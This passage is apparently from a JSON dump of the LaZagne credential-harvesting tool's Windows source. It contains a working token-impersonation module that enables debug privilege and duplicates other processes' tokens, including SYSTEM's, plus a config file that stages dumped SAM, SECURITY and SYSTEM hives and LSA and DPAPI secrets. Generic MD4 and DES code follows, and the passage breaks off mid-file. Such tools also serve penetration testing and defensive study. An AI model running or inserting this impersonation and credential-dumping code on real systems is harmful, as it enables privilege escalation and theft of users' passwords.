    "content": "# -*- coding: utf-8 -*-\n# Original code from https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py\n\nimport sys\nimport traceback\n\nfrom lazagne.config.write_output import print_debug\nfrom lazagne.config.winstructure import *\n\nimport os\n\n\ndef get_token_info(hToken):\n    \"\"\"\n    Retrieve SID and user owner from Token\n    \"\"\"\n    dwSize = DWORD(0)\n    pStringSid = LPWSTR()\n    TokenUser = 1\n\n    if GetTokenInformation(hToken, TokenUser, byref(TOKEN_USER()), 0, byref(dwSize)) == 0:\n        address = LocalAlloc(0x0040, dwSize)\n        if address:\n            GetTokenInformation(hToken, TokenUser, address, dwSize, byref(dwSize))\n            pToken_User = cast(address, POINTER(TOKEN_USER))\n            if pToken_User.contents.User.Sid:\n                ConvertSidToStringSid(pToken_User.contents.User.Sid, byref(pStringSid))\n                owner, domaine, _ = LookupAccountSidW(None, pToken_User.contents.User.Sid)\n                if pStringSid:\n                    sid = pStringSid.value\n                    LocalFree(address)\n                    return sid, owner\n    return None, None\n\n\ndef enable_privilege(privilegeStr, hToken=None):\n    \"\"\"\n    Enable Privilege on token, if no token is given the function gets the token of the current process.\n    \"\"\"\n    if hToken == None:\n        hToken = HANDLE(INVALID_HANDLE_VALUE)\n        if not hToken:\n            return False\n\n        hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, os.getpid())\n        if not hProcess:\n            return False\n\n        OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), byref(hToken))\n        e = GetLastError()\n        if e != 0:\n            return False\n        CloseHandle(hProcess)\n\n    privilege_id = LUID()\n    LookupPrivilegeValueA(None, privilegeStr, byref(privilege_id))\n    e = GetLastError()\n    if e != 0:\n        return False\n\n    SE_PRIVILEGE_ENABLED = 0x00000002\n    laa = LUID_AND_ATTRIBUTES(privilege_id, SE_PRIVILEGE_ENABLED)\n    tp = TOKEN_PRIVILEGES(1, laa)\n\n    AdjustTokenPrivileges(hToken, False, byref(tp), sizeof(tp), None, None)\n    e = GetLastError()\n    if e != 0:\n        return False\n    return True\n\n\ndef get_debug_privilege():\n    \"\"\"\n    Enable SE Debug privilege on token\n    \"\"\"\n    return RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE)\n\n\ndef list_sids():\n    \"\"\"\n    List all SID by process\n    \"\"\"\n    sids = []\n    for pid in EnumProcesses():\n        if pid <= 4:\n            continue\n\n        try:\n            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)\n            if not hProcess:\n                continue\n\n            hToken = HANDLE(INVALID_HANDLE_VALUE)\n            if OpenProcessToken(hProcess, tokenprivs, byref(hToken)):\n                if hToken:\n                    token_sid, owner = get_token_info(hToken)\n                    if token_sid and owner:\n                        pname = ''\n                        sids.append((pid, pname, token_sid, owner))\n                    CloseHandle(hToken)\n\n            CloseHandle(hProcess)\n\n        except Exception as e:\n            print_debug('DEBUG', traceback.format_exc())\n            continue\n\n    return list(sids)\n\n\ndef get_sid_token(token_sid):\n    if token_sid == \"S-1-5-18\":\n        sids = list_sids()\n        for sid in sids:\n            if \"winlogon\" in sid[1].lower():\n                try:\n                    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, sid[0])\n                    if hProcess:\n                        hToken = HANDLE(INVALID_HANDLE_VALUE)\n                        if hToken:\n                            OpenProcessToken(hProcess, tokenprivs, byref(hToken))\n                            if hToken:\n                                print_debug('INFO', u'Using PID: ' + str(sid[0]))\n                                CloseHandle(hProcess)\n                                return hToken\n\n                    # CloseHandle(hToken)\n                    CloseHandle(hProcess)\n                except Exception as e:\n                    print_debug('ERROR', u'{error}'.format(error=e))\n                    break\n        return False\n\n    for pid in EnumProcesses():\n        if pid <= 4:\n            continue\n\n        try:\n            hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))\n            if hProcess:\n                hToken = HANDLE(INVALID_HANDLE_VALUE)\n                if hToken:\n                    OpenProcessToken(hProcess, tokenprivs, byref(hToken))\n                    if hToken:\n                        sid, owner = get_token_info(hToken)\n                        if sid == token_sid:\n                            print_debug('INFO', u'Impersonate token from pid: ' + str(pid))\n                            CloseHandle(hProcess)\n                            return hToken\n                    CloseHandle(hToken)\n            CloseHandle(hProcess)\n        except Exception as e:\n            print_debug('ERROR', u'{error}'.format(error=e))\n\n    return False\n\n\ndef impersonate_sid(sid, close=True):\n    \"\"\"\n    Try to impersonate an SID\n    \"\"\"\n    hToken = get_sid_token(sid)\n    if hToken:\n        hTokendupe = impersonate_token(hToken)\n        if hTokendupe:\n            if close:\n                CloseHandle(hTokendupe)\n            return hTokendupe\n    return False\n\n\nglobal_ref = None\n\n\ndef impersonate_sid_long_handle(*args, **kwargs):\n    \"\"\"\n    Try to impersonate an SID\n    \"\"\"\n    global global_ref\n    hTokendupe = impersonate_sid(*args, **kwargs)\n    if not hTokendupe:\n        return False\n\n    if global_ref:\n        CloseHandle(global_ref)\n\n    global_ref = hTokendupe\n    return addressof(hTokendupe)\n\n\ndef impersonate_token(hToken):\n    \"\"\"\n    Impersonate token - Need admin privilege\n    \"\"\"\n    if get_debug_privilege():\n        hTokendupe = HANDLE(INVALID_HANDLE_VALUE)\n        if hTokendupe:\n            SecurityImpersonation = 2\n            TokenPrimary = 1\n            if DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, byref(hTokendupe)):\n                CloseHandle(hToken)\n                if ImpersonateLoggedOnUser(hTokendupe):\n                    return hTokendupe\n    else:\n        print_debug('DEBUG', 'Get debug privilege failed')\n    return False\n\n\ndef rev2self():\n    \"\"\"\n    Back to previous token priv\n    \"\"\"\n    global global_ref\n    RevertToSelf()\n    try:\n        if global_ref:\n            CloseHandle(global_ref)\n    except Exception:\n        pass\n    global_ref = None\n"
  },
  {
    "path": "Windows/lazagne/config/constant.py",
    "content": "# -*- coding: utf-8 -*- \r\nimport tempfile\r\nimport random\r\nimport string\r\nimport time\r\nimport os\r\n\r\ndate = time.strftime(\"%d%m%Y_%H%M%S\")\r\ntmp = tempfile.gettempdir()\r\n\r\n\r\nclass constant():\r\n    folder_name = '.'\r\n    file_name_results = 'credentials_{current_time}'.format(\r\n        current_time=date\r\n    )  # The extension is added depending on the user output choice\r\n    max_help = 27\r\n    CURRENT_VERSION = '2.4.7' \r\n    output = None\r\n    modules_dic = {}\r\n    nb_password_found = 0  # Total password found\r\n    password_found = []  # Tab containing all passwords used for dictionary attack\r\n    stdout_result = []  # Tab containing all results by user\r\n    pypykatz_result = {}\r\n    finalResults = {}\r\n    profile = {\r\n        'APPDATA': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Roaming\\\\',\r\n        'USERPROFILE': u'{drive}:\\\\Users\\\\{user}\\\\',\r\n        'HOMEDRIVE': u'{drive}:',\r\n        'HOMEPATH': u'{drive}:\\\\Users\\\\{user}',\r\n        'ALLUSERSPROFILE': u'{drive}:\\\\ProgramData',\r\n        'COMPOSER_HOME': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Roaming\\\\Composer\\\\',\r\n        'LOCALAPPDATA': u'{drive}:\\\\Users\\\\{user}\\\\AppData\\\\Local',\r\n    }\r\n    username = u''\r\n    keepass = {}\r\n    hives = {\r\n        'sam': os.path.join(\r\n            tmp,\r\n            ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),\r\n        'security': os.path.join(\r\n            tmp,\r\n            ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))])),\r\n        'system': os.path.join(\r\n            tmp,\r\n            ''.join([random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12))]))\r\n    }\r\n    quiet_mode = False\r\n    st = None  # Standard output\r\n    drive = u'C'\r\n    user_dpapi = None\r\n    system_dpapi = None\r\n    lsa_secrets = None\r\n    is_current_user = False  # If True, Windows API are used otherwise dpapi is used\r\n    user_password = None\r\n    wifi_password = False  # Check if the module as already be done\r\n    module_to_exec_at_end = {\r\n        \"winapi\": [],\r\n        \"dpapi\": [],\r\n    }\r\n    dpapi_cache = {}"
  },
  {
    "path": "Windows/lazagne/config/crypto/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/config/crypto/md4.py",
    "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# Copyright © 2019 James Seo <james@equiv.tech> (github.com/kangtastic).\n#\n# This file is released under the WTFPL, version 2 (wtfpl.net).\n#\n# md4.py: An implementation of the MD4 hash algorithm in pure Python 3.\n#\n# Description: Zounds! Yet another rendition of pseudocode from RFC1320!\n#              Bonus points for the algorithm literally being from 1992.\n#\n\n#  From https://gist.github.com/kangtastic/c3349fc4f9d659ee362b12d7d8c639b6\n\nimport struct\n\n\nclass MD4:\n    \"\"\"An implementation of the MD4 hash algorithm.\"\"\"\n\n    width = 32\n    mask = 0xFFFFFFFF\n\n    # Unlike, say, SHA-1, MD4 uses little-endian. Fascinating!\n    h = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476]\n\n    def __init__(self, msg=None):\n        \"\"\":param ByteString msg: The message to be hashed.\"\"\"\n        if msg is None:\n            msg = b\"\"\n\n        self.msg = msg\n\n        # Pre-processing: Total length is a multiple of 512 bits.\n        ml = len(msg) * 8\n        msg += b\"\\x80\"\n        msg += b\"\\x00\" * (-(len(msg) + 8) % 64)\n        msg += struct.pack(\"<Q\", ml)\n\n        # Process the message in successive 512-bit chunks.\n        self._process([msg[i : i + 64] for i in range(0, len(msg), 64)])\n\n    def __repr__(self):\n        if self.msg:\n            return f\"{self.__class__.__name__}({self.msg})\"\n        return f\"{self.__class__.__name__}()\"\n\n    def __str__(self):\n        return self.hexdigest()\n\n    def __eq__(self, other):\n        return self.h == other.h\n\n    def bytes(self):\n        \"\"\":return: The final hash value as a `bytes` object.\"\"\"\n        return struct.pack(\"<4L\", *self.h)\n\n    def hexbytes(self):\n        \"\"\":return: The final hash value as hexbytes.\"\"\"\n        return self.hexdigest().encode()\n\n    def hexdigest(self):\n        \"\"\":return: The final hash value as a hexstring.\"\"\"\n        return \"\".join(f\"{value:02x}\" for value in self.bytes())\n\n    def _process(self, chunks):\n        for chunk in chunks:\n            X, h = list(struct.unpack(\"<16I\", chunk)), self.h.copy()\n\n            # Round 1.\n            Xi = [3, 7, 11, 19]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = n, Xi[n % 4]\n                hn = h[i] + MD4.F(h[j], h[k], h[l]) + X[K]\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            # Round 2.\n            Xi = [3, 5, 9, 13]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = n % 4 * 4 + n // 4, Xi[n % 4]\n                hn = h[i] + MD4.G(h[j], h[k], h[l]) + X[K] + 0x5A827999\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            # Round 3.\n            Xi = [3, 9, 11, 15]\n            Ki = [0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15]\n            for n in range(16):\n                i, j, k, l = map(lambda x: x % 4, range(-n, -n + 4))\n                K, S = Ki[n], Xi[n % 4]\n                hn = h[i] + MD4.H(h[j], h[k], h[l]) + X[K] + 0x6ED9EBA1\n                h[i] = MD4.lrot(hn & MD4.mask, S)\n\n            self.h = [((v + n) & MD4.mask) for v, n in zip(self.h, h)]\n\n    @staticmethod\n    def F(x, y, z):\n        return (x & y) | (~x & z)\n\n    @staticmethod\n    def G(x, y, z):\n        return (x & y) | (x & z) | (y & z)\n\n    @staticmethod\n    def H(x, y, z):\n        return x ^ y ^ z\n\n    @staticmethod\n    def lrot(value, n):\n        lbits, rbits = (value << n) & MD4.mask, value >> (MD4.width - n)\n        return lbits | rbits\n\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/pyDes.py",
    "content": "#############################################################################\n#               Documentation                   #\n#############################################################################\n\n# Author:   Todd Whiteman\n# Date:     28th April, 2010\n# Version:  2.0.1\n# License:  MIT\n# Homepage: http://twhiteman.netfirms.com/des.html\n#\n# This is a pure python implementation of the DES encryption algorithm.\n# It's pure python to avoid portability issues, since most DES \n# implementations are programmed in C (for performance reasons).\n#\n# Triple DES class is also implemented, utilizing the DES base. Triple DES\n# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.\n#\n# See the README.txt that should come with this python module for the\n# implementation methods used.\n#\n# Thanks to:\n#  * David Broadwell for ideas, comments and suggestions.\n#  * Mario Wolff for pointing out and debugging some triple des CBC errors.\n#  * Santiago Palladino for providing the PKCS5 padding technique.\n#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.\n#\n\"\"\"A pure python implementation of the DES and TRIPLE DES encryption algorithms.\n\nClass initialization\n--------------------\npyDes.des(key, [mode], [IV], [pad], [padmode])\npyDes.triple_des(key, [mode], [IV], [pad], [padmode])\n\nkey     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes\n       for Triple DES\nmode    -> Optional argument for encryption type, can be either\n       pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)\nIV      -> Optional Initial Value bytes, must be supplied if using CBC mode.\n       Length must be 8 bytes.\npad     -> Optional argument, set the pad character (PAD_NORMAL) to use during\n       all encrypt/decrypt operations done with this instance.\npadmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)\n       to use during all encrypt/decrypt operations done with this instance.\n\nI recommend to use PAD_PKCS5 padding, as then you never need to worry about any\npadding issues, as the padding can be removed unambiguously upon decrypting\ndata that was encrypted using PAD_PKCS5 padmode.\n\nCommon methods\n--------------\nencrypt(data, [pad], [padmode])\ndecrypt(data, [pad], [padmode])\n\ndata    -> Bytes to be encrypted/decrypted\npad     -> Optional argument. Only when using padmode of PAD_NORMAL. For\n       encryption, adds this characters to the end of the data block when\n       data is not a multiple of 8 bytes. For decryption, will remove the\n       trailing characters that match this pad character from the last 8\n       bytes of the unencrypted data block.\npadmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL\n       or PAD_PKCS5). Defaults to PAD_NORMAL.\n      \n\nExample\n-------\nfrom pyDes import *\n\ndata = \"Please encrypt my data\"\nk = des(\"DESCRYPT\", CBC, \"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\n# For Python3, you'll need to use bytes, i.e.:\n#   data = b\"Please encrypt my data\"\n#   k = des(b\"DESCRYPT\", CBC, b\"\\0\\0\\0\\0\\0\\0\\0\\0\", pad=None, padmode=PAD_PKCS5)\nd = k.encrypt(data)\nprint \"Encrypted: %r\" % d\nprint \"Decrypted: %r\" % k.decrypt(d)\nassert k.decrypt(d, padmode=PAD_PKCS5) == data\n\n\nSee the module source (pyDes.py) for more examples of use.\nYou can also run the pyDes.py file without and arguments to see a simple test.\n\nNote: This code was not written for high-end systems needing a fast\n      implementation, but rather a handy portable solution with small usage.\n\n\"\"\"\n\nimport sys\n\n# _pythonMajorVersion is used to handle Python2 and Python3 differences.\n_pythonMajorVersion = sys.version_info[0]\n\n# Modes of crypting / cyphering\nECB =   0\nCBC =   1\n\n# Modes of padding\nPAD_NORMAL = 1\nPAD_PKCS5 = 2\n\n# PAD_PKCS5: is a method that will unambiguously remove all padding\n#            characters after decryption, when originally encrypted with\n#            this padding mode.\n# For a good description of the PKCS5 padding technique, see:\n# http://www.faqs.org/rfcs/rfc1423.html\n\n# The base class shared by des and triple des.\nclass _baseDes(object):\n    def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        if IV:\n            IV = self._guardAgainstUnicode(IV)\n        if pad:\n            pad = self._guardAgainstUnicode(pad)\n        self.block_size = 8\n        # Sanity checking of arguments.\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if IV and len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n\n        # Set the passed in variables\n        self._mode = mode\n        self._iv = IV\n        self._padding = pad\n        self._padmode = padmode\n\n    def getKey(self):\n        \"\"\"getKey() -> bytes\"\"\"\n        return self.__key\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object.\"\"\"\n        key = self._guardAgainstUnicode(key)\n        self.__key = key\n\n    def getMode(self):\n        \"\"\"getMode() -> pyDes.ECB or pyDes.CBC\"\"\"\n        return self._mode\n\n    def setMode(self, mode):\n        \"\"\"Sets the type of crypting mode, pyDes.ECB or pyDes.CBC\"\"\"\n        self._mode = mode\n\n    def getPadding(self):\n        \"\"\"getPadding() -> bytes of length 1. Padding character.\"\"\"\n        return self._padding\n\n    def setPadding(self, pad):\n        \"\"\"setPadding() -> bytes of length 1. Padding character.\"\"\"\n        if pad is not None:\n            pad = self._guardAgainstUnicode(pad)\n        self._padding = pad\n\n    def getPadMode(self):\n        \"\"\"getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        return self._padmode\n        \n    def setPadMode(self, mode):\n        \"\"\"Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5\"\"\"\n        self._padmode = mode\n\n    def getIV(self):\n        \"\"\"getIV() -> bytes\"\"\"\n        return self._iv\n\n    def setIV(self, IV):\n        \"\"\"Will set the Initial Value, used in conjunction with CBC mode\"\"\"\n        if not IV or len(IV) != self.block_size:\n            raise ValueError(\"Invalid Initial Value (IV), must be a multiple of \" + str(self.block_size) + \" bytes\")\n        IV = self._guardAgainstUnicode(IV)\n        self._iv = IV\n\n    def _padData(self, data, pad, padmode):\n        # Pad data depending on the mode\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n\n        if padmode == PAD_NORMAL:\n            if len(data) % self.block_size == 0:\n                # No padding required.\n                return data\n\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if not pad:\n                raise ValueError(\"Data must be a multiple of \" + str(self.block_size) + \" bytes in length. Use padmode=PAD_PKCS5 or set the pad character.\")\n            data += (self.block_size - (len(data) % self.block_size)) * pad\n        \n        elif padmode == PAD_PKCS5:\n            pad_len = 8 - (len(data) % self.block_size)\n            if _pythonMajorVersion < 3:\n                data += pad_len * chr(pad_len)\n            else:\n                data += bytes([pad_len] * pad_len)\n\n        return data\n\n    def _unpadData(self, data, pad, padmode):\n        # Unpad data depending on the mode.\n        if not data:\n            return data\n        if pad and padmode == PAD_PKCS5:\n            raise ValueError(\"Cannot use a pad character with PAD_PKCS5\")\n        if padmode is None:\n            # Get the default padding mode.\n            padmode = self.getPadMode()\n\n        if padmode == PAD_NORMAL:\n            if not pad:\n                # Get the default padding.\n                pad = self.getPadding()\n            if pad:\n                data = data[:-self.block_size] + \\\n                       data[-self.block_size:].rstrip(pad)\n\n        elif padmode == PAD_PKCS5:\n            if _pythonMajorVersion < 3:\n                pad_len = ord(data[-1])\n            else:\n                pad_len = data[-1]\n            data = data[:-pad_len]\n\n        return data\n\n    def _guardAgainstUnicode(self, data):\n        # Only accept byte strings or ascii unicode values, otherwise\n        # there is no way to correctly decode the data into bytes.\n        if _pythonMajorVersion < 3:\n            if isinstance(data, unicode):  # noqa\n                raise ValueError(\"pyDes can only work with bytes, not Unicode strings.\")\n        else:\n            if isinstance(data, str):\n                # Only accept ascii unicode values.\n                try:\n                    return data.encode('ascii')\n                except UnicodeEncodeError:\n                    pass\n                raise ValueError(\"pyDes can only work with encoded strings, not Unicode.\")\n        return data\n\n#############################################################################\n#                   DES                     #\n#############################################################################\nclass des(_baseDes):\n    \"\"\"DES encryption/decrytpion class\n\n    Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.\n\n    pyDes.des(key,[mode], [IV])\n\n    key  -> Bytes containing the encryption key, must be exactly 8 bytes\n    mode -> Optional argument for encryption type, can be either pyDes.ECB\n        (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)\n    IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.\n        Must be 8 bytes in length.\n    pad  -> Optional argument, set the pad character (PAD_NORMAL) to use\n        during all encrypt/decrypt operations done with this instance.\n    padmode -> Optional argument, set the padding mode (PAD_NORMAL or\n        PAD_PKCS5) to use during all encrypt/decrypt operations done\n        with this instance.\n    \"\"\"\n\n\n    # Permutation and translation tables for DES\n    __pc1 = [56, 48, 40, 32, 24, 16,  8,\n          0, 57, 49, 41, 33, 25, 17,\n          9,  1, 58, 50, 42, 34, 26,\n         18, 10,  2, 59, 51, 43, 35,\n         62, 54, 46, 38, 30, 22, 14,\n          6, 61, 53, 45, 37, 29, 21,\n         13,  5, 60, 52, 44, 36, 28,\n         20, 12,  4, 27, 19, 11,  3\n    ]\n\n    # number left rotations of pc1\n    __left_rotations = [\n        1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1\n    ]\n\n    # permuted choice key (table 2)\n    __pc2 = [\n        13, 16, 10, 23,  0,  4,\n         2, 27, 14,  5, 20,  9,\n        22, 18, 11,  3, 25,  7,\n        15,  6, 26, 19, 12,  1,\n        40, 51, 30, 36, 46, 54,\n        29, 39, 50, 44, 32, 47,\n        43, 48, 38, 55, 33, 52,\n        45, 41, 49, 35, 28, 31\n    ]\n\n    # initial permutation IP\n    __ip = [57, 49, 41, 33, 25, 17, 9,  1,\n        59, 51, 43, 35, 27, 19, 11, 3,\n        61, 53, 45, 37, 29, 21, 13, 5,\n        63, 55, 47, 39, 31, 23, 15, 7,\n        56, 48, 40, 32, 24, 16, 8,  0,\n        58, 50, 42, 34, 26, 18, 10, 2,\n        60, 52, 44, 36, 28, 20, 12, 4,\n        62, 54, 46, 38, 30, 22, 14, 6\n    ]\n\n    # Expansion table for turning 32 bit blocks into 48 bits\n    __expansion_table = [\n        31,  0,  1,  2,  3,  4,\n         3,  4,  5,  6,  7,  8,\n         7,  8,  9, 10, 11, 12,\n        11, 12, 13, 14, 15, 16,\n        15, 16, 17, 18, 19, 20,\n        19, 20, 21, 22, 23, 24,\n        23, 24, 25, 26, 27, 28,\n        27, 28, 29, 30, 31,  0\n    ]\n\n    # The (in)famous S-boxes\n    __sbox = [\n        # S1\n        [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,\n         0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,\n         4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,\n         15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],\n\n        # S2\n        [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,\n         3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,\n         0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,\n         13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],\n\n        # S3\n        [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,\n         13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,\n         13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,\n         1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],\n\n        # S4\n        [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,\n         13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,\n         10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,\n         3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],\n\n        # S5\n        [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,\n         14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,\n         4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,\n         11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],\n\n        # S6\n        [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,\n         10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,\n         9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,\n         4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],\n\n        # S7\n        [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,\n         13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,\n         1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,\n         6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],\n\n        # S8\n        [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,\n         1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,\n         7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,\n         2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],\n    ]\n\n\n    # 32-bit permutation function P used on the output of the S-boxes\n    __p = [\n        15, 6, 19, 20, 28, 11,\n        27, 16, 0, 14, 22, 25,\n        4, 17, 30, 9, 1, 7,\n        23,13, 31, 26, 2, 8,\n        18, 12, 29, 5, 21, 10,\n        3, 24\n    ]\n\n    # final permutation IP^-1\n    __fp = [\n        39,  7, 47, 15, 55, 23, 63, 31,\n        38,  6, 46, 14, 54, 22, 62, 30,\n        37,  5, 45, 13, 53, 21, 61, 29,\n        36,  4, 44, 12, 52, 20, 60, 28,\n        35,  3, 43, 11, 51, 19, 59, 27,\n        34,  2, 42, 10, 50, 18, 58, 26,\n        33,  1, 41,  9, 49, 17, 57, 25,\n        32,  0, 40,  8, 48, 16, 56, 24\n    ]\n\n    # Type of crypting being done\n    ENCRYPT =   0x00\n    DECRYPT =   0x01\n\n    # Initialisation\n    def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):\n        # Sanity checking of arguments.\n        if len(key) != 8:\n            raise ValueError(\"Invalid DES key size. Key must be exactly 8 bytes long.\")\n        _baseDes.__init__(self, mode, IV, pad, padmode)\n        self.key_size = 8\n\n        self.L = []\n        self.R = []\n        self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)\n        self.final = []\n\n        self.setKey(key)\n\n    def setKey(self, key):\n        \"\"\"Will set the crypting key for this object. Must be 8 bytes.\"\"\"\n        _baseDes.setKey(self, key)\n        self.__create_sub_keys()\n\n    def __String_to_BitList(self, data):\n        \"\"\"Turn the string data, into a list of bits (1, 0)'s\"\"\"\n        if _pythonMajorVersion < 3:\n            # Turn the strings into integers. Python 3 uses a bytes\n            # class, which already has this behaviour.\n            data = [ord(c) for c in data]\n        l = len(data) * 8\n        result = [0] * l\n        pos = 0\n        for ch in data:\n            i = 7\n            while i >= 0:\n                if ch & (1 << i) != 0:\n                    result[pos] = 1\n                else:\n                    result[pos] = 0\n                pos += 1\n                i -= 1\n\n        return result\n\n    def __BitList_to_String(self, data):\n        \"\"\"Turn the list of bits -> data, into a string\"\"\"\n        result = []\n        pos = 0\n        c = 0\n        while pos < len(data):\n            c += data[pos] << (7 - (pos % 8))\n            if (pos % 8) == 7:\n                result.append(c)\n                c = 0\n            pos += 1\n\n        if _pythonMajorVersion < 3:\n            return ''.join([ chr(c) for c in result ])\n        else:\n            return bytes(result)\n\n    def __permutate(self, table, block):\n        \"\"\"Permutate this block with the specified table\"\"\"\n        return list(map(lambda x: block[x], table))\n    \n    # Transform the secret key, so that it is ready for data processing\n    # Create the 16 subkeys, K[1] - K[16]\n    def __create_sub_keys(self):\n        \"\"\"Create the 16 subkeys K[1] to K[16] from the given key\"\"\"\n        key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))\n        i = 0\n        # Split into Left and Right sections\n        self.L = key[:28]\n        self.R = key[28:]\n        while i < 16:\n            j = 0\n            # Perform circular left shifts\n            while j < des.__left_rotations[i]:\n                self.L.append(self.L[0])\n                del self.L[0]\n\n                self.R.append(self.R[0])\n                del self.R[0]\n\n                j += 1\n\n            # Create one of the 16 subkeys through pc2 permutation\n            self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)\n\n            i += 1\n\n    # Main part of the encryption algorithm, the number cruncher :)\n    def __des_crypt(self, block, crypt_type):\n        \"\"\"Crypt the block of data through DES bit-manipulation\"\"\"\n        block = self.__permutate(des.__ip, block)\n        self.L = block[:32]\n        self.R = block[32:]\n\n        # Encryption starts from Kn[1] through to Kn[16]\n        if crypt_type == des.ENCRYPT:\n            iteration = 0\n            iteration_adjustment = 1\n        # Decryption starts from Kn[16] down to Kn[1]\n        else:\n            iteration = 15\n            iteration_adjustment = -1\n\n        i = 0\n        while i < 16:\n            # Make a copy of R[i-1], this will later become L[i]\n            tempR = self.R[:]\n\n            # Permutate R[i - 1] to start creating R[i]\n            self.R = self.__permutate(des.__expansion_table, self.R)\n\n            # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here\n            self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))\n            B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], 